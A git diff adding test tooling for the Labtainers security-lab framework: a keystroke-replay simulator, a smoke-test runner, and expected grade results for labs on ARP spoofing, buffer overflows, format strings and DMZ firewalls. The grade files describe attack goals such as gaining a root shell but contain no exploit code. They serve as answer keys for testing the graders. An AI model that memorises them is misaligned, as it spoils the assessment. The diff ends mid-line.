in fh: + if line.strip().startswith('#'): + if self.verbose_level >= 1: + print('%s' % line.strip()) + sys.stdout.flush() + continue + if len(line.strip()) > 0: + if self.verbose_level == 2: + print('key: %s' % line.strip()) + sys.stdout.flush() + send = "key %s" % line.strip() + self.dotool(send) + time.sleep(1.1) + else: + #print 'sleep 2' + time.sleep(2) + + def cpFile(self, labname, params): + ''' add_file src container:dest ''' + parts = params.strip().split() + if len(parts) != 2: + print('syntax error, too many fields (%d) for add_file: %s' % (len(parts), params)) + exit(1) + if ':' not in parts[1]: + print('syntax error on add_file -- MISSING container name?: %s' % params) + exit(1) + src_path = os.path.join(self.sim_path, parts[0]) + container, dst_path = parts[1].split(':') + full_containername = "%s.%s.student" % (labname, container) + cmd = 'docker cp %s %s:%s' % (src_path, full_containername, dst_path) + os.system(cmd) + + def addFile(self, params, replace=False): + from_file, to_file = params.split() + from_file = os.path.join(self.sim_path, from_file) + cmd = 'vi %s' % to_file + self.typeLine(cmd.strip()) + if replace: + cmd = "type '9999dd'" + self.dotool(cmd) + else: + self.dotool("type 'G'") + self.dotool("type 'o'") + with open(from_file) as fh: + for line in fh: + self.typeLine(line.rstrip()) + self.dotool("key Escape") + self.dotool("type 'ZZ'") + + def includeFile(self, fname): + full = os.path.join(self.sim_path, fname) + with open(full) as fh: + for line in fh: + if line.strip().startswith('#') or len(line.strip()) == 0: + if line.strip().startswith('#'): + if self.verbose_level >= 1: + print('%s' % line.strip()) + sys.stdout.flush() + continue + #print line + try: + cmd, params = line.split(' ', 1) + except: + print('bad SimLab line: %s' % line) + exit(1) + #print('cmd: %s params %s' % (cmd, params)) + self.handleCmd(cmd.strip(), params.strip()) + #print('back from handleCmd') + + def execNetStat_On_Container(self, labname, container_hosturl): + ''' return True if the container_hosturl is found in netstat output ''' + waitNetURL_string = container_hosturl.split(':') + if len(waitNetURL_string) != 2: + print("Invalid wait_net container_hosturl string format!") + exit(1) + else: + container = waitNetURL_string[0] + full_containername = "%s.%s.student" % (labname, container) + hosturl = waitNetURL_string[1] + + netstat_cmd = "sudo netstat -put -W | grep %s" % hosturl + cmd = 'docker exec %s script -q -c "%s" /dev/null' % (full_containername, netstat_cmd) + #print "cmd is (%s)" % cmd + result, output_str = DockerCmd(cmd) + #print('wait_net %r out is %s' % (result, output_str)) + if not result: + print('failed %s' % cmd) + exit(1) + if self.verbose_level > 1: + print(output_str) + sys.stdout.flush() + if result and output_str == "": + #print "After DockerCmd, return False" + return False + else: + for line in output_str.splitlines(): + if container_hosturl in line and "TIME_WAIT" not in line: + return True + return False + + def waitNetURL(self, labname, container_hosturl): + # wait for connection to establish + time.sleep(1) + while self.execNetStat_On_Container(labname, container_hosturl): + #self.logger.debug('waiting for execNetStat_On_Container') + time.sleep(1) + time.sleep(1) + + def handleCmd(self, cmd, params): + if self.logger is not None: + self.logger.debug('cmd %s params: %s' % (cmd, params)) + if self.verbose_level == 2: + print('%s: %s' % (cmd, params)) + sys.stdout.flush() + if cmd == 'window': + wid = self.searchWindows(params) + self.activate(wid) + elif cmd == 'window_wait': + wid = self.searchWindows(params, True) + self.activate(wid) + elif cmd == 'include': + self.includeFile(params) + elif cmd == 'type_file': + self.typeFile(params) + elif cmd == 'key_file': + self.keyFile(params) + elif cmd == 'type_line': + self.typeLine(params.strip()) + elif cmd == 'type_lit': + self.typeLit(params.strip()) + elif cmd == 'type_command': + self.typeLine(params.strip()) + while isProcRunning(params): + print('%s running, wait' % params) + time.sleep(1) + elif cmd == 'command_file': + self.commandFile(params) + elif cmd == 'command': + self.dotool(params) + elif cmd == 'add_file': + self.addFile(params) + elif cmd == 'replace_file': + #self.addFile(params, True) + self.cpFile(self.labname, params) + elif cmd == 'key': + send = "key %s" % params + self.dotool(send) + time.sleep(0.2) + elif cmd == 'rep_key': + parts = params.split() + quant = int(parts[0]) + the_key = parts[1] + send = "key %s" % the_key + for i in range(quant): + self.dotool(send) + time.sleep(0.3) + elif cmd == 'wait_net': + self.waitNetURL(self.labname, params) + elif cmd == 'wait_proc': + while isProcRunning(params): + print('%s running, wait' % params) + time.sleep(1) + elif cmd == 'sleep': + time.sleep(int(params)) + elif cmd == 'type_function': + fun_cmd = os.path.join(self.sim_path, params) + ps = subprocess.Popen(shlex.split(fun_cmd), stdout=subprocess.PIPE, stderr=subprocess.PIPE) + output = ps.communicate() + self.typeLine(output[0].strip()) + + else: + print('Unknown command %s %s' % (cmd, params)) + + def signal_handler(self, signum, frame): + #self.logger.debug("Signal handle called with signal", signum) + self.reset_dconf_hud_settting() + # Caught a SIGTERM signal exiting after reset dconf HUD setting + sys.exit(1) + + def reset_dconf_hud_settting(self): + result = 0 + if self.dconf_enable: + if self.dconf_orig_hud_string_set: + command = "/usr/bin/dconf write /org/compiz/integrated/show-hud %s" % self.dconf_hud_string + else: + command = "/usr/bin/dconf write /org/compiz/integrated/show-hud" + #self.logger.debug("Command is (%s)" % command) + ps = subprocess.Popen(shlex.split(command), stdout=subprocess.PIPE, stderr=subprocess.PIPE) + output = ps.communicate() + if len(output[1]) > 0: + result = 1 + #self.logger.debug("Failed to set hud_string to %s" % self.dconf_hud_string) + #else: + # self.logger.debug("Set hud_string to %s is successful" % self.dconf_hud_string) + return result + + def change_dconf_hud_setting(self): + result = 0 + if self.dconf_enable: + command = "/usr/bin/dconf write /org/compiz/integrated/show-hud '[\"\"]'" + #self.logger.debug("Command is (%s)" % command) + ps = subprocess.Popen(shlex.split(command), stdout=subprocess.PIPE, stderr=subprocess.PIPE) + output = ps.communicate() + if len(output[1]) > 0: + result = 1 + #self.logger.debug("Failed to set hud_string to '[\"\"]'") + #else: + # self.logger.debug("Set hud_string to '[\"\"]' is successful") + return result + + def get_orig_dconf_hud_setting(self): + result = 0 + if self.dconf_enable: + command = "/usr/bin/dconf read /org/compiz/integrated/show-hud" + #self.logger.debug("Command is (%s)" % command) + ps = subprocess.Popen(shlex.split(command), stdout=subprocess.PIPE, stderr=subprocess.PIPE) + output = ps.communicate() + if len(output[0]) > 0: + self.dconf_orig_hud_string_set = True + #print "output[0] is (%s)" % output[0].strip() + self.dconf_hud_string = output[0].strip() + else: + self.dconf_orig_hud_string_set = False + result = 1 + #if self.dconf_orig_hud_string_set: + # print "hud_string is (%s)" % self.dconf_hud_string + #else: + # print "hud_string is not SET!" + return result + + def test_for_program(self, myprogram): + command = "which %s > /dev/null" % myprogram + if os.system(command) == 0: + #self.logger.debug("program (%s) exists/installed" % myprogram) + return 0 + else: + #self.logger.debug("program (%s) does not exists/not installed" % myprogram) + return 1 + + def simThis(self): + fname = os.path.join(self.sim_path, self.in_file) + if self.logger is not None: + self.logger.debug('smithThis for %s' % fname) + + # Test for dconf first + if self.test_for_program("dconf") != 0: + #self.logger.debug("NO dconf support") + self.dconf_enable = False + self.dconf_orig_hud_string_set = False + else: + self.dconf_enable = True + self.get_orig_dconf_hud_setting() + self.change_dconf_hud_setting() + + # Setup signal handler for SIGINT + signal.signal(signal.SIGINT, self.signal_handler) + + with open(fname) as fh: + for line in fh: + if line.strip().startswith('#') or len(line.strip()) == 0: + if line.strip().startswith('#'): + if self.verbose_level >= 1: + print('%s' % line.strip()) + sys.stdout.flush() + continue + #print line + try: + cmd, params = line.split(' ', 1) + except: + print('bad SimLab line: %s' % line) + exit(1) + #print('cmd: %s params %s' % (cmd, params)) + self.handleCmd(cmd.strip(), params.strip()) + #print('back from handleCmd') + + # Finish processing, reset dconf HUD setting + self.reset_dconf_hud_settting() + +def __main__(): + parser = argparse.ArgumentParser(description='Simulate student performing lab') + parser.add_argument('labname', help='The lab to simulate') + parser.add_argument('-v', '--verbose', action='count', default=0, help="Use -v to see comments as they are encountered, -vv to see each line") + parser.add_argument('-f', '--file', action='store', default='simthis.txt', help='Directives file, default is simthis.txt.') + args = parser.parse_args() + lab = args.labname + verbose_level = int(args.verbose) + #print("lab is (%s)" % lab) + #print("verbose_level is (%d)" % verbose_level) + if verbose_level > 2: + print("Verbose level up to 2 only!") + exit(1) + labtainer_config_path = os.path.abspath('../../config/labtainer.config') + labtainer_config = ParseLabtainerConfig.ParseLabtainerConfig(labtainer_config_path, None) + logfilename = '/tmp/simlab.log' + logname = "simlab" + + file_log_level = labtainer_config.file_log_level + console_log_level = labtainer_config.console_log_level + + logger = logging.getLogger(logname) + logger.setLevel(file_log_level) + formatter = logging.Formatter('[%(asctime)s - %(levelname)s : %(message)s') + + file_handler = logging.FileHandler(logfilename) + file_handler.setLevel(file_log_level) + file_handler.setFormatter(formatter) + + console_handler = logging.StreamHandler() + console_handler.setLevel(console_log_level) + console_handler.setFormatter(formatter) + + logger.addHandler(file_handler) + logger.addHandler(console_handler) + + logger.debug('Begin simlab for %s' % lab) + simlab = SimLab(lab, verbose_level, in_file=args.file, logger=logger) + simlab.simThis() + +if __name__=="__main__": + __main__() diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/bin/SummarizeValidate.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/bin/SummarizeValidate.sh new file mode 100755 index 000000000..39688940d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/bin/SummarizeValidate.sh @@ -0,0 +1,15 @@ +#!/bin/bash + +VALIDATE_DIR="../validate" +VALIDATE_SUMMARY="../validate/summary.txt" + +VALIDATE_SETS=`ls $VALIDATE_DIR` + +echo "Validate testsets summary: " > $VALIDATE_SUMMARY +for testname in $VALIDATE_SETS +do + echo "Current test name is ($testname)" + echo -n "$testname : " >> $VALIDATE_SUMMARY + cat $VALIDATE_DIR/$testname/about.txt >> $VALIDATE_SUMMARY +done + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/bin/smoketest.py b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/bin/smoketest.py new file mode 100755 index 000000000..4137fab6e --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/bin/smoketest.py @@ -0,0 +1,170 @@ +#!/usr/bin/env python +import subprocess +import os +import sys +import argparse +import shlex +import SimLab +import logging +import shutil +import filecmp +sys.path.append('./bin') +import ParseLabtainerConfig +import labutils + +class SmokeTest(): + def __init__(self, verbose_level): + self.verbose_level = verbose_level + labtainer_config_path = os.path.abspath('../../config/labtainer.config') + self.labtainer_config = ParseLabtainerConfig.ParseLabtainerConfig(labtainer_config_path, None) + self.simlab = None + self.outfile = open('./smoke.out', 'w') + logfilename = './smokex.log' + logname = "smoketest" + + file_log_level = self.labtainer_config.file_log_level + console_log_level = self.labtainer_config.console_log_level + + self.logger = logging.getLogger(logname) + self.logger.setLevel(file_log_level) + formatter = logging.Formatter('[%(asctime)s - %(levelname)s : %(message)s') + + file_handler = logging.FileHandler(logfilename) + file_handler.setLevel(file_log_level) + file_handler.setFormatter(formatter) + + console_handler = logging.StreamHandler() + console_handler.setLevel(console_log_level) + console_handler.setFormatter(formatter) + + self.logger.addHandler(file_handler) + self.logger.addHandler(console_handler) + + self.logger.debug('Begin smoke test') + + def checkLab(self, lab, test_registry): + FAILURE=1 + retval = True + xfer_dir = os.path.join(os.getenv('HOME'), self.labtainer_config.host_home_xfer, lab) + self.logger.debug('checkLab xfer is %s' % xfer_dir) + shutil.rmtree(xfer_dir, ignore_errors=True) + os.mkdir(xfer_dir) + test_flag = '' + if test_registry: + test_flag = '-t' + cmd = 'labtainer %s -q -r %s' % (lab, test_flag) + result = subprocess.call(cmd, shell=True, stderr=self.outfile, stdout=self.outfile) + self.logger.debug('result is %d' % result) + self.simlab = None + if result == FAILURE: + retval = False + else: + self.simlab = SimLab.SimLab(lab, verbose_level=self.verbose_level, logger=self.logger) + if self.simlab.hasSim(): + self.logger.debug('now call simLab') + self.simlab.simThis() + cmd = 'stoplab %s' % lab + ps = subprocess.Popen(cmd, shell=True, stderr=subprocess.PIPE, stdout=subprocess.PIPE) + output = ps.communicate() + self.logger.debug('stoplab output %s' % output[0]) + email = labutils.getLastEmail() + if email is not None: + email = email.replace("@","_at_") + if len(output[1]) > 0: + print('%s' % output[0]) + print('%s' % output[1]) + retval = False + if retval and self.simlab.hasSim(): + here = os.getcwd() + os.chdir('../labtainer-instructor') + cmd = 'gradelab %s -r' % lab + result = subprocess.call(cmd, shell=True, stderr=self.outfile, stdout=self.outfile) + if result == FAILURE: + retval = False + self.logger.debug('instructor start result is %d' % result) + ''' + self.simlab.searchWindows('GOAL_RESULTS') + cmd = 'stop.py %s' % lab + result = subprocess.call(cmd, shell=True, stderr=self.outfile, stdout=self.outfile) + if result == FAILURE: + retval = False + self.logger.debug('instructor stop result is %d' % result) + ''' + if retval: + expected = self.simlab.getExpectedPath() + if os.path.isdir(expected): + fname = '%s.grades.txt' % lab + new = os.path.join(xfer_dir, fname) + old = os.path.join(expected, fname) + if os.path.isfile(old): + if self.cmpStudent(new, old, email): + print('%s matches %s' % (new, old)) + else: + print('%s DOES NOT MATCH %s' % (new, old)) + retval = False + else: + print('no expected results for %s' % lab) + os.chdir(here) + + + return retval + + def cmpStudent(self, new, old, email): + new_line = None + old_line = None + with open(new) as new_fh: + for line in new_fh: + if line.strip().startswith(email): + new_line = line.strip().replace(" ", "") + break; + with open(old) as old_fh: + for line in old_fh: + if line.strip().startswith(email): + old_line = line.strip().replace(" ", "") + break; + if new_line != old_line: + print('new: %s does not match\nold: %s' % (new_line, old_line)) + return False + return True + + def checkAll(self, startwith, test_registry): + + skip_labs = os.path.abspath('../../distrib/skip-labs') + skip = [] + if os.path.isfile(skip_labs): + with open(skip_labs) as fh: + for line in fh: + f = os.path.basename(line).strip() + print('adding [%s]' % f) + skip.append(f) + skip.append('cyberciege') + lab_parent = os.path.abspath('../../labs') + lab_list = os.listdir(lab_parent) + for lab in sorted(lab_list): + if lab in skip: + continue + if startwith is not None and lab < startwith: + continue + print('Start lab: %s' % lab) + result = self.checkLab(lab, test_registry) + if not result: + exit(1) + print('Finished lab: %s' % lab) + +def __main__(): + + parser = argparse.ArgumentParser(description='Smoke test all labs') + parser.add_argument('-l', '--lab', action='store', help='Test just this lab.') + parser.add_argument('-s', '--start_with', action='store', help='Test all starting with .') + parser.add_argument('-v', '--verbose', action='count', default=0, help="Use -v to see comments as they are encountered, -vv to see each line") + parser.add_argument('-t', '--test_registry', action='store_true', default=False, help='Run with images from the test registry') + + args = parser.parse_args() + smoketest = SmokeTest(args.verbose) + if args.lab is not None: + smoketest.checkLab(args.lab, args.test_registry) + else: + smoketest.checkAll(args.start_with, args.test_registry) + +if __name__=='__main__': + __main__() diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/arp-spoof/arp-spoof.grades.json b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/arp-spoof/arp-spoof.grades.json new file mode 100644 index 000000000..cbe547bcc --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/arp-spoof/arp-spoof.grades.json @@ -0,0 +1,12 @@ +{ + "frank_at_beans.com.arp-spoof": { + "actualwatermark": "c4af44382e17a56903b0d6e3ec06c775", + "parameter": {}, + "expectedwatermark": "c4af44382e17a56903b0d6e3ec06c775", + "grades": { + "did_spoof": true + }, + "firstlevelzip": {}, + "secondlevelzip": {} + } +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/arp-spoof/arp-spoof.grades.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/arp-spoof/arp-spoof.grades.txt new file mode 100644 index 000000000..1ef87c27b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/arp-spoof/arp-spoof.grades.txt @@ -0,0 +1,9 @@ +Labname arp-spoof + +Student | did_spoof | +==================== | =============== | +frank_at_beans.com | Y | +What is automatically assessed for this lab: + + did_spoof: Student captured at least 10 packets sent between the client + and the web server, presumebly using arp spoofing. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/arp-spoof/frank_at_beans.com.arp-spoof.zip b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/arp-spoof/frank_at_beans.com.arp-spoof.zip new file mode 100644 index 000000000..be6ad72df Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/arp-spoof/frank_at_beans.com.arp-spoof.zip differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/bufoverflow/GOLD/bufoverflow.grades.json b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/bufoverflow/GOLD/bufoverflow.grades.json new file mode 100644 index 000000000..92819a6c8 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/bufoverflow/GOLD/bufoverflow.grades.json @@ -0,0 +1,20 @@ +{ + "dliao_at_npa.wsu.bufoverflow": { + "actualwatermark": {}, + "parameter": { + "roothash": "b2391441dfc80a1890f4db0af61e0f28", + "userhash": "e49ea895dc7ccf8768f32c0a2b383dc0", + "rand1": "144" + }, + "expectedwatermark": {}, + "grades": { + "gain_root_priv": true, + "_aslron": true, + "_looproot": true, + "while_get_root": true, + "stack_protect": true + }, + "firstlevelzip": {}, + "secondlevelzip": {} + } +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/bufoverflow/GOLD/bufoverflow.grades.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/bufoverflow/GOLD/bufoverflow.grades.txt new file mode 100644 index 000000000..c332f9e32 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/bufoverflow/GOLD/bufoverflow.grades.txt @@ -0,0 +1,10 @@ +Labname bufoverflow + +Student | gain_root_priv | while_get_root | stack_protect | +==================== | =============== | =============== | =============== | +dliao_at_npa.wsu | Y | Y | Y | +What is automatically assessed for this lab: + + gain_root_priv: Did the student get a root shell & display the /root/.secret file? + while_get_root: Did the student get a root shell with ASLR enabled? + stack_protect: Experimented with enabling stack guard? diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/bufoverflow/GOLD/dliao_at_npa.wsu.bufoverflow.zip b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/bufoverflow/GOLD/dliao_at_npa.wsu.bufoverflow.zip new file mode 100644 index 000000000..36aba85c3 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/bufoverflow/GOLD/dliao_at_npa.wsu.bufoverflow.zip differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/bufoverflow/SILVER/bufoverflow.grades.json b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/bufoverflow/SILVER/bufoverflow.grades.json new file mode 100644 index 000000000..23b75431f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/bufoverflow/SILVER/bufoverflow.grades.json @@ -0,0 +1,20 @@ +{ + "dliao_at_npa.wsu.bufoverflow": { + "actualwatermark": {}, + "parameter": { + "roothash": "b2391441dfc80a1890f4db0af61e0f28", + "userhash": "e49ea895dc7ccf8768f32c0a2b383dc0", + "rand1": "144" + }, + "expectedwatermark": {}, + "grades": { + "gain_root_priv": true, + "_aslron": false, + "_looproot": false, + "while_get_root": false, + "stack_protect": true + }, + "firstlevelzip": {}, + "secondlevelzip": {} + } +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/bufoverflow/SILVER/bufoverflow.grades.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/bufoverflow/SILVER/bufoverflow.grades.txt new file mode 100644 index 000000000..13a58858a --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/bufoverflow/SILVER/bufoverflow.grades.txt @@ -0,0 +1,10 @@ +Labname bufoverflow + +Student | gain_root_priv | while_get_root | stack_protect | +==================== | =============== | =============== | =============== | +dliao_at_npa.wsu | Y | | Y | +What is automatically assessed for this lab: + + gain_root_priv: Did the student get a root shell & display the /root/.secret file? + while_get_root: Did the student get a root shell with ASLR enabled? + stack_protect: Experimented with enabling stack guard? diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/bufoverflow/SILVER/dliao_at_npa.wsu.bufoverflow.zip b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/bufoverflow/SILVER/dliao_at_npa.wsu.bufoverflow.zip new file mode 100644 index 000000000..15c2ad659 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/bufoverflow/SILVER/dliao_at_npa.wsu.bufoverflow.zip differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/dmz-lab/GOLD/dmz-lab.grades.json b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/dmz-lab/GOLD/dmz-lab.grades.json new file mode 100644 index 000000000..7a05929e2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/dmz-lab/GOLD/dmz-lab.grades.json @@ -0,0 +1,28 @@ +{ + "frank_at_beans.com.dmz-lab": { + "actualwatermark": "25a75b45b8af94af3cd5a2a8184ae694", + "parameter": { + "WEB_IP": "40", + "INNER_DMZ": "97", + "INNER_LAN1": "181", + "INNER_LAN2": "245" + }, + "expectedwatermark": "25a75b45b8af94af3cd5a2a8184ae694", + "grades": { + "remote_nmap_443": true, + "remote_nmap_sql": false, + "local_nmap_443": true, + "local_nmap_sql": true, + "reach_internet": true, + "remote_correct": true, + "_iplog": true, + "_remote_nmap_443": true, + "_remote_nmap_sql": false, + "_local_nmap_443": true, + "_local_nmap_sql": true, + "_reach_internet": true + }, + "firstlevelzip": {}, + "secondlevelzip": {} + } +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/dmz-lab/GOLD/dmz-lab.grades.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/dmz-lab/GOLD/dmz-lab.grades.txt new file mode 100644 index 000000000..1f446245b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/dmz-lab/GOLD/dmz-lab.grades.txt @@ -0,0 +1,11 @@ +Labname dmz-lab + +Student | remote_nmap_443 | remote_nmap_sql | local_nmap_443 | local_nmap_sql | reach_internet | remote_correct | +==================== | =============== | =============== | =============== | =============== | =============== | =============== | +frank_at_beans.com | Y | | Y | Y | Y | Y | +What is automatically assessed for this lab: + + remote_nmap_443, remote_nmap_sql: nmap results from remote workstation + local_nmap_443, local_nmap_sql: nmap results from local workstation + reach_internet: Reach the internet from local workstation? + remote_correct: Did nmap from the local and remote workstations indicate a correct iptables setting? diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/dmz-lab/GOLD/frank_at_beans.com.dmz-lab.zip b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/dmz-lab/GOLD/frank_at_beans.com.dmz-lab.zip new file mode 100644 index 000000000..6c2df3e3b Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/dmz-lab/GOLD/frank_at_beans.com.dmz-lab.zip differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/formatstring/GOLD/formatstring.grades.json b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/formatstring/GOLD/formatstring.grades.json new file mode 100644 index 000000000..4b5edf794 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/formatstring/GOLD/formatstring.grades.json @@ -0,0 +1,23 @@ +{ + "tstr_at_tstr.tstr.formatstring": { + "actualwatermark": {}, + "parameter": { + "SECRET2": "0x43" + }, + "expectedwatermark": {}, + "grades": { + "crash": true, + "_leaked_secret": true, + "modify_value": true, + "modify_specific": true, + "_in_lines_2": true, + "_aslr_on": true, + "leaked_secret": true, + "leaked_no_scanf": true, + "_crash_sig": true, + "_crash_smash": false + }, + "firstlevelzip": {}, + "secondlevelzip": {} + } +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/formatstring/GOLD/formatstring.grades.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/formatstring/GOLD/formatstring.grades.txt new file mode 100644 index 000000000..342cc8651 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/formatstring/GOLD/formatstring.grades.txt @@ -0,0 +1,13 @@ +Labname formatstring + +Student | crash | modify_value | modify_specific | leaked_secret | leaked_no_scanf | +==================== | =============== | =============== | =============== | =============== | =============== | +tstr_at_tstr.tstr | Y | Y | Y | Y | Y | +What is automatically assessed for this lab: + + crash: whether the student crashed the program + _leaked_secret: was the secret2 value leaked? + modify_value: was the secret2 value modified? + modify_specific: was the secret2 value modified to a specific value? + leaked_secret: secret leaked with ASLR enabled? + leaked_no_scanf: secret leaked with ASLR no scanf, and ASLR disabled? diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/formatstring/GOLD/tstr_at_tstr.tstr.formatstring.zip b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/formatstring/GOLD/tstr_at_tstr.tstr.formatstring.zip new file mode 100644 index 000000000..8de39fdbe Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/formatstring/GOLD/tstr_at_tstr.tstr.formatstring.zip differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/formatstring/SILVER/formatstring.grades.json b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/formatstring/SILVER/formatstring.grades.json new file mode 100644 index 000000000..e13a37e16 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/formatstring/SILVER/formatstring.grades.json @@ -0,0 +1,23 @@ +{ + "tstr_at_tstr.tstr.formatstring": { + "actualwatermark": {}, + "parameter": { + "SECRET2": "0x43" + }, + "expectedwatermark": {}, + "grades": { + "crash": true, + "_leaked_secret": true, + "modify_value": false, + "modify_specific": false, + "_in_lines_2": false, + "_aslr_on": true, + "leaked_secret": true, + "leaked_no_scanf": false, + "_crash_sig": true, + "_crash_smash": false + }, + "firstlevelzip": {}, + "secondlevelzip": {} + } +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/formatstring/SILVER/formatstring.grades.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/formatstring/SILVER/formatstring.grades.txt new file mode 100644 index 000000000..264d6b477 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/formatstring/SILVER/formatstring.grades.txt @@ -0,0 +1,13 @@ +Labname formatstring + +Student | crash | modify_value | modify_specific | leaked_secret | leaked_no_scanf | +==================== | =============== | =============== | =============== | =============== | =============== | +tstr_at_tstr.tstr | Y | | | Y | | +What is automatically assessed for this lab: + + crash: whether the student crashed the program + _leaked_secret: was the secret2 value leaked? + modify_value: was the secret2 value modified? + modify_specific: was the secret2 value modified to a specific value? + leaked_secret: secret leaked with ASLR enabled? + leaked_no_scanf: secret leaked with ASLR no scanf, and ASLR disabled? diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/formatstring/SILVER/tstr_at_tstr.tstr.formatstring.zip b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/formatstring/SILVER/tstr_at_tstr.tstr.formatstring.zip new file mode 100644 index 000000000..96f3380ac Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/formatstring/SILVER/tstr_at_tstr.tstr.formatstring.zip differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/gdblesson/GOLD/dwt_at_email.gdblesson.zip b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/gdblesson/GOLD/dwt_at_email.gdblesson.zip new file mode 100644 index 000000000..72974b6d9 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/gdblesson/GOLD/dwt_at_email.gdblesson.zip differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/gdblesson/GOLD/gdblesson.grades.json b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/gdblesson/GOLD/gdblesson.grades.json new file mode 100644 index 000000000..1a1022afb --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/gdblesson/GOLD/gdblesson.grades.json @@ -0,0 +1,20 @@ +{ + "dwt_at_email.gdblesson": { + "actualwatermark": {}, + "parameter": {}, + "expectedwatermark": {}, + "grades": { + "gcc_task_one": true, + "smx_task_a": true, + "smx_task_b": true, + "correct_check_a": true, + "gdb_run_task": true, + "gdb_list_task": true, + "gdb_print_task": true, + "gdb_step_task": true, + "correct_check_two": true + }, + "firstlevelzip": {}, + "secondlevelzip": {} + } +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/gdblesson/GOLD/gdblesson.grades.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/gdblesson/GOLD/gdblesson.grades.txt new file mode 100644 index 000000000..c417fb643 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/gdblesson/GOLD/gdblesson.grades.txt @@ -0,0 +1,8 @@ +Labname gdblesson + +Student | gcc_task_one | smx_task_a | smx_task_b | correct_check_a | gdb_run_task | gdb_list_task | gdb_print_task | gdb_step_task | correct_check_t | +==================== | =============== | =============== | =============== | =============== | =============== | =============== | =============== | =============== | =============== | +dwt_at_email | Y | Y | Y | Y | Y | Y | Y | Y | Y | +What is automatically assessed for this lab: + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/gdblesson/SILVER/dwt_at_email.gdblesson.zip b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/gdblesson/SILVER/dwt_at_email.gdblesson.zip new file mode 100644 index 000000000..9432a6cdb Binary files /dev/null and 